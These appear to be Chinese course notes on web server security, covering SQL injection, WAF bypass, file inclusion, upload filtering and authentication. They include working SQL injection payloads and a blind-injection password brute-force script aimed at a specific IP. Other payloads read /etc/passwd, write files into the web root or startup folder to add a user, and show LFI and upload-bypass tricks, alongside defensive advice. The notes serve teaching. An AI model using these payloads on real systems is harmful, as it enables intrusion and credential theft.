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Web服务器端安全

前置知识

Http协议

  • url说明
    • 协议 http + 用户密码 user@pass +ip地址 127.0.0.1 + 端口port 8080 + 页面 index.php + 参数 ?id=123 + 锚点 #123
    • Http(s)协议：URL、HOST、User-Agent、Referer（代表跳转来源 → 可以用与做流量统计）、Cookie（反序列化）、X-Forwarded-For

SQL注入

  • 根本原因：脚本语言无法理解SQL语句，对查询语句处理不一致，导致SQL注入，篡改了SQL语句原本逻辑

SQL注入防御

  1. 字符串拼接形式：过滤单引号、双引号、反斜杠等关键词；转义(addslashes、mysqli_real_escape_string)
  2. 变量绑定，先给sql查询变量一个占位符，然后调用mysql的库进行预编译。
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String sql = "select id, no from user where id=?";
PrepareStatement ps = conn.prepareStatement(sql);
ps.SetInt(1, id);
ps.executeQuery();

SQL注入类型

  1. Union注入

    • 适用场景：有回显，可以看到某些字段的回显结果。union语句可以用来填充查询结果，并且额外执行一次查询。用法实例，对于以下的php：
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        $$id = isset($_GET['id']) ? $$_GET['id'] : 1;
    $$sql = "SELECT * FROM news WHERE tid='{ $$id }'";
    $$result = mysql_query($sql, $$conn) or die(mysql_error());
    $$row = mysql_fetch_array($$result, MYSQL_ASSOC);
    echo "<h2>{ $row['title'] }</h2><p>{ $row['content'] }</p><br />";
    mysql_free_result($result);

    • 我们可以构造以下payload：

      1

      100' union select 1, 2, @@version

    • 实际执行的sql语句为

    1

    select * from news where tid=1 union select 1, 2, @@version
    • Union注入限制：很多攻击场景不是select注入，union语句被很多网页过滤

  2. 报错注入：数据报错语句中包含SQL语句执行结果

    • 常见报错注入函数：floor、extractvalue、updatexml…
    • floor payload：
    1

    and select 1 from (select count(*), concat(version(), floor(rand(0)*2)) x from information_schema.tables group by x) a);%23
    • extractvalue payload（改变offset从0增加，可以读取数据库中的所有表名）：
    1

    and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1 offset 1)));%23
    • updatexml payload：
    1

    and 1 = (updatexml(1, concat(0x3a, (select user())), 1));%23
    • Exp payload：
    1

    Exp(~(select * from (select user()) a));%23

  3. Boolean盲注

    • 在数据回显的不同，逐个爆破猜测。example，payload&sql:
    1

    xx' and pass > '123'%23

    1

    select *from user where user = 'xx' and pass > '123'#

    • 截取字符串的相关函数：

      • left(Str,len) → 从左侧截取Str的前num位
      • substr(Str,offset,len) → 从offset（最开始位置标记为1）开始截取Str的len长度。ascii() 将字符转化为ascii值。mid(Str,offset,len) 用法相同。
      • regex 正则表达式的用法。比如匹配user为root的正则表达式用法：select user() regexp '^root' 。可以嵌套if语句使用：
      1

      select * from users where id=1 and 1=(if((user() regexp '^r'), 1, 0));#

    • PS：mysql默认不区分大小写，可以先用binary函数处理

  4. Timing 盲注

    • 页面不存在不同回显，但SQL语句被执行 → 逐个猜测 + 延时执行
    • payload：
    1

    if(ascii(substr(database(),1,1))>115,0,sleep(5))%23
    • MySQL：
    1

    BENCHMARK(100000, MD5(1)) or sleep(5)
  • 课后习题Python爆破代码：
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import requests
from random import sample

md5str = '0123456789abcdefghijklmnopqrstuvwxyz}'
# 最后一个字符表示一个比z大的ascii码字符

url = 'http://202.112.51.184:8001/'
payload = {'username': 'admin', 'password':'test'} # 声明payload为一个字典

crackres = ['unsolve']*33
crackres[32] = 'end' # 标志crack结果list的末尾
crackpos = 0 # 从0开始爆破

session = requests.Session()
defaultlen = len(session.post(url, data=payload).content)

while crackres[crackpos] != 'end':
    for index in range(len(md5str)):
        thispassword = ''.join(crackres[0:crackpos]) + md5str[index+1]
        payload['username'] = "admin' and password > '" + thispassword + "'#"
        response = session.post(url, data=payload)
        if len(response.content) != defaultlen:
            crackres[crackpos] = md5str[index]
            break
    crackpos = crackpos + 1

print('Password md5: ',''.join(crackres[0:32]))

SQL注入的利用代码

  1. 猜测MySQL的表名和字段名：MySQL的Information_schema数据库存储了整个数据库的结构信息，存放在Information_schema.tables、Information_schema.columns表中。

    • 爆数据库 payload：
    1

    union select 1,2,database()%23
    • 爆表名 payload：
    1

    union select 1, table_name, 3 from information_schema.tables where table_schema='test' limit 0,1%23
    • 爆列名 payload：
    1

    union select 1, column_name, 3 from information_schema.columns where table_name='admin' limit 0,1%23

  2. 文件读写

    • 读取关键文件
    1

    select LOADFILE('/etc/passwd');
    • 写入shell：
    1

    select '<?php phpinfo();?>' into dumpfile '/var/www/html/1.php'
    • mysql5.7之后，引入了secure-file-priv新特性来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()

  3. 命令执行

    • 利用数据库对服务器写启动脚本：
    1

    union select 1,2,3,"net user cimer cimer /ad" into outfile 'C:/documents and settings/all users/start menu/programs/startup/add.bat'

WAF绕过

  • WAF：Web Application Firewall，web应用防护系统。

  1. 双写关键字 → 针对WAF是用简单的非迭代的将select、or语句替换为空字符串。比如：SEselectLECT →replace→ SELECT

  2. 大小写绕过：应用简单的区分大小写的关键字匹配，比如php中的preg_match函数没有加/i参数

  3. 编码绕过：

    1. ASCII。比如：
    1

    select * from admin where username=(CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110))
    1. 其他：16进制、unicode编码、URL编码（开发程序员不知道url会自动解码一次，自己再写了url解码函数，我们可以将URL编码两次）

  4. more trick：

    • and → && ； or → || ； select username from admin → select(username)from(admin)、select\**\username\**\from\**\admin （%a0、%0a、%0d、%09、tab…）。

    • 科学记数法绕过：where username=1e1union select

    • >, =, < 被限制：where pass in (1,2)、where id between 1 and 3、like

    • mysql对%00不会截断：se%00lect

    • PS：SQL测试语法（测试字符 '1' 与字符 a 的大小）：select '1' > 'a'

其他注入方式

  1. 二次注入：攻击者将恶意SQL语句插入到数据库中，程序直接带入查询
  2. 宽字节注入：当数据库中使用了宽字符集（如GBK），会将一些两个字符当作一个字符。
    • 比如：0xbf27、0xbf5c
    • 反斜杠是0x5c，使用addslashes()等转义函数在处理输入时会将"、\、“这些字符用反斜杠转义，输入0xbf27，转义后变成了0xbf5c27。
  3. sprintf → 执行语句使用sprintf和vsprintf进行拼接，且进行了两次拼接，第一次拼接的参数可控：
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<?php
    $$input = addslashes("%1$$' and 1=1#");
	$$b = sprintf("AND b='%s'", $$input);
	...
    $$sql = sprintf("SELECT * FROM t WHERE a='%s' $$b", 'admin');
	echo $sql;
?>

命令执行漏洞

  • 应用有时需要调用一些执行系统命令的函数，比如php中的system、exec、shell_exec、passthru、popen、proc_popen等。
  • 程序过滤不严谨，用户可以将代码注入并执行。高危函数：eval()、assert()
  • preg_replace函数用于对字符串进行正则处理（当pattern中存在/e模式修饰时，$replace部分会被解释为PHP代码执行）：
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mixed preg_replace(mixed $$pattern, mixed $replacement, mixed $subject[, int $limit=-1[, int &$$count]])

文件包含

  • 在web开发中，为什么要使用本地文件包含？ → 提高代码重用性
  • 如何获取临时文件名？利用：phpinfo()

本地文件包含 LFI

  • 常见函数

    • include()、require() → require函数找不到文件就会引发一个错误。比如：
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    <?php include(_GET[...]); ?>
    • PS：include once() → 若文件中代码已经包含则不会再次被包含

  • 使用 filter 的php协议读取敏感文件的base64代码：

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http://www.test.com/index.php?page=php://filter/convert.base64-encode/resource=../../../../ect/passwd

  • 使用 /proc/self/environ 进行文件包含

    • 当向任意php文件post请求上传数据时，可以直接在phpinfo()页面找到临时文件的路径和名字

  • 临时文件生存周期短，如何延长？

    • 通过分块传输编码，提前获知临时文件的名称
    • 通过增加临时文件名后的 数据长度来延长时间
    • 通过大量请求来延迟PHP脚本的执行速度

  • 包含临时文件（条件竞争）

其他的文件包含

  • 有限制的LFI
  • 远程文件包含RFI：利用 phar:// 和 zip:// 伪协议可以解压缩包含一句木马

文件上传

  • 最简单的文件上传代码：

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    if(is_uploaded_file($_['myfile']['tmp_name'])){
    $$upload_file=$$_FILES['myfile']['tmp_name'];
    $$file_true_name=$$_FILES['myfile']['name'];
    if(move_upload_file($$upload_file, $$file_true_name))
        echo $_FILES['myfile']['name']."上传成功";
    else echo "上传失败";
}else echo "上传失败";

防御文件上传

  • 客户端的javaScript校验，通常校验扩展名 → 此时并没有发送数据包 → 抓包改包轻松爆破

  • 检测MIME类型。

    • 客户端判断：$_FILES['myfile']['type']=='image/jpeg' → 类型也是根据文件名获取的
    • 服务端判断：
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    $finfo = finfo_open(FILEINFO_MINE);
$$mimetype = finfo_file($finfo, $$file_true_name);

  • 检查内容 → 黑名单（看上去很有效，但实际上只要是黑名单就可以被绕过） → 耗费资源

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    $$content = file_get_contents($$file_true_name);
if(stripos($content, "<?php")){ die("php!!!"); }

  • 隐藏文件 → 移到一个不为人知的路径 → 受到业务需求的限制，文件必须被访问到

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    $$file_true_name=$secrect_path.$$_FILES['myfile']['name'];
if(move_uploaded_file($$uploaded_file, $$file_true_name)
   echo $_FILES['myfile']['name']."上传成功";
else echo "上传失败";

  • 随机文件名（局限性同上）：

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    $$file_true_name=md5(rand(1,1000)).$$_FILES['myfile']['name'];

  • 检查文件扩展名

    • 最直接最有效的方法 → web服务器通过不同的问文件扩展名
    • 黑名单绕过
      • php → php3、php5、phtms、 pHp…
      • jsp → jspx、 jspf
      • asp → asa、 cer、 aspx…
    • 白名单的绕过
      • 截断绕过：文件名 → test.php(0x00).jpg
      • 利用NTFS ADS特性、IIS5.x-6.x解析漏洞
      • Apache解析漏洞：Apache解析文件名是从右向左开始判断解析，如果后缀名为不可识别文件解析，就再往左判断。比如：test.php.owf 会被Apache解析为 test.php
      • Nginx解析漏洞：cgi.fix_pathinfo开启时（为1），当访问 www.xx.com/phpinfo.jpg/q.php 时，会将 phpinfo.jpg 当作php进行解析。

认证与授权

  • Authentication & Authorization
  • 密码强度：OWASP推荐，6|8多种组合

认证

  1. Session认证
    • SessionID标识身份，存在会话周期，常见保存于Cookie中
    • Cookie劫持：嗅探、本地文件窃取、XSS攻击
    • Session Fixation攻击：攻击者发起登录请求获得SessionID → 令用户使用该SessionID向服务器发起登录请求 → 用户登录成功，攻击者可以伪造用户在服务器进行操作
  2. 单点登录SSO
    • 简介： 三方参与 → 用户、浏览器、OpenID提供者
    • 用户只需要登录一次、风险过于集中、OpenID提供者参差不齐

授权

  • 用户只能访问有限的资源，就是访问控制
    • 基于url的访问控制、基于方法的访问控制、基于数据的访问控制
  • 越权 → 水平越权（用户之间的越权访问）、垂直越权（用户得到管理员权限）